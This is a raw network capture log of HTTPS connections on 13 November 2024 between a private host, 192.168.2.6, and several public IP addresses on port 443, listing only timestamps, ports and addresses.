Nov 13, 2024 18:08:15.297534943 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.315608978 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.315644979 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.315922022 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.316008091 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.319976091 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.320008993 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.320079088 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.320717096 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.320732117 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.321537971 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.321568012 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.321631908 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.321832895 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.321841002 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.321969032 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.321969032 CET	49733	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.321978092 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.321985006 CET	443	49733	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.325130939 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.325728893 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.325891972 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.333563089 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.333612919 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.333642960 CET	49734	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.333659887 CET	443	49734	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.370564938 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.370605946 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.370719910 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.370907068 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:15.370927095 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:15.381014109 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.381052017 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.381349087 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.397902012 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.397913933 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.405994892 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.406025887 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.406084061 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.406474113 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:15.406490088 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:15.709533930 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.709604025 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.711366892 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.711380959 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.711746931 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.713849068 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.713896036 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.713901043 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.714210033 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.755332947 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.964628935 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.965286016 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.965318918 CET	443	49735	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:15.965342045 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:15.965368986 CET	49735	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:16.060296059 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.063654900 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.084110975 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.084131956 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.084884882 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.084891081 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.085402966 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.085417986 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.085882902 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.085887909 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.109631062 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.109905958 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.109924078 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.110969067 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.111038923 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.112121105 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.112195015 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.112351894 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.112360001 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.118139982 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.118314981 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.118331909 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.119980097 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.120034933 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.121026039 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.121109009 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.121192932 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.121200085 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.124260902 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.124700069 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.124716997 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.125267982 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.125272989 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.131453991 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.131814003 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.131829977 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.132363081 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.132370949 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.136306047 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.136717081 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.136732101 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.137413025 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.137418985 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.162388086 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.162404060 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.183110952 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.183377028 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.183384895 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.184812069 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.184870958 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.185266972 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.185266972 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.185276985 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.185338974 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.214277983 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.214364052 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.214504957 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.214548111 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.214548111 CET	49741	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.214569092 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.214579105 CET	443	49741	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.215121031 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.215670109 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.215754986 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.215858936 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.215858936 CET	49742	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.215908051 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.215913057 CET	443	49742	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.217885971 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.217917919 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.217921019 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.217968941 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.218003035 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.218121052 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.218130112 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.218163967 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.218249083 CET	49751	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.218281984 CET	443	49751	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.224972963 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.224980116 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.225958109 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.226557970 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.226588964 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.230118990 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.230256081 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.230701923 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.230885029 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.230931997 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.256504059 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.256613016 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.256756067 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.256756067 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.256850958 CET	49743	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.256860971 CET	443	49743	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.259099960 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259129047 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.259191990 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259301901 CET	49752	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259316921 CET	443	49752	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.259459972 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.259589911 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.259670973 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259670973 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259699106 CET	49747	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.259706974 CET	443	49747	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.261456013 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.261504889 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.261667967 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.261701107 CET	49753	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.261709929 CET	443	49753	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.266549110 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.266736031 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.266863108 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.266863108 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.266943932 CET	49746	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.266953945 CET	443	49746	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.268987894 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.269009113 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.269078016 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.269222021 CET	49754	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.269232035 CET	443	49754	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.271794081 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.271857977 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.272860050 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.318968058 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.353063107 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.353142977 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.353338957 CET	443	49738	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.353404999 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.353404999 CET	49738	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.384537935 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.428651094 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.428663015 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.431248903 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.431339025 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.431514978 CET	443	49740	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.431538105 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.433662891 CET	49740	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.479105949 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479171038 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479217052 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479265928 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479306936 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.479309082 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479334116 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.479347944 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.479621887 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.479628086 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.487718105 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.488162041 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.488177061 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.499366999 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.538717985 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.538733959 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.553659916 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.553683043 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.556457996 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.556499958 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.556679964 CET	443	49745	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.556723118 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.556957006 CET	49745	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.585791111 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.596129894 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.596220970 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.598838091 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.598844051 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.602793932 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.602940083 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.602945089 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.607292891 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.609895945 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.609910965 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.616343975 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.616878033 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.616883993 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.625507116 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.625752926 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.625757933 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.634368896 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.634543896 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.634551048 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.643404961 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.643872976 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.643877983 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.652497053 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.652832031 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.652837038 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.660742998 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.660866022 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.660871983 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.709285975 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.709304094 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.712976933 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.713057041 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.713069916 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.713151932 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.713368893 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.713375092 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.713912010 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.714437008 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.714442968 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.719794989 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.719880104 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.719954967 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.719960928 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.721820116 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.726708889 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.730304956 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.730381012 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.730427980 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.730433941 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.730613947 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.737322092 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766388893 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766505003 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766598940 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766678095 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766746998 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.766760111 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766830921 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766856909 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.766870022 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.766921997 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.766933918 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.769382954 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.769459009 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.769501925 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.769510984 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.769992113 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.775358915 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.781435013 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.781466961 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.781493902 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.781502962 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.783512115 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.787425041 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.793452024 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.793493032 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.793648005 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.793658972 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.793837070 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.800036907 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.808598042 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.808780909 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.808783054 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.808816910 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.810466051 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.812563896 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.818278074 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.818413973 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.818429947 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.829868078 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.829953909 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.830090046 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.830101013 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.830245018 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.830776930 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.836693048 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.836771011 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.836816072 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.836827040 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.837294102 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.842314005 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.847986937 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.848064899 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.848088980 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.848098040 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.848217964 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.853292942 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.858989000 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.859065056 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.859147072 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.859167099 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.859275103 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.865068913 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.868576050 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.868669033 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.868818045 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.868834972 CET	443	49744	172.217.18.4	192.168.2.6
Nov 13, 2024 18:08:16.869180918 CET	49744	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:16.952172041 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.952971935 CET	49750	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:16.953008890 CET	443	49750	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:16.953530073 CET	443	49751	13.107.246.45	192.168.2.6
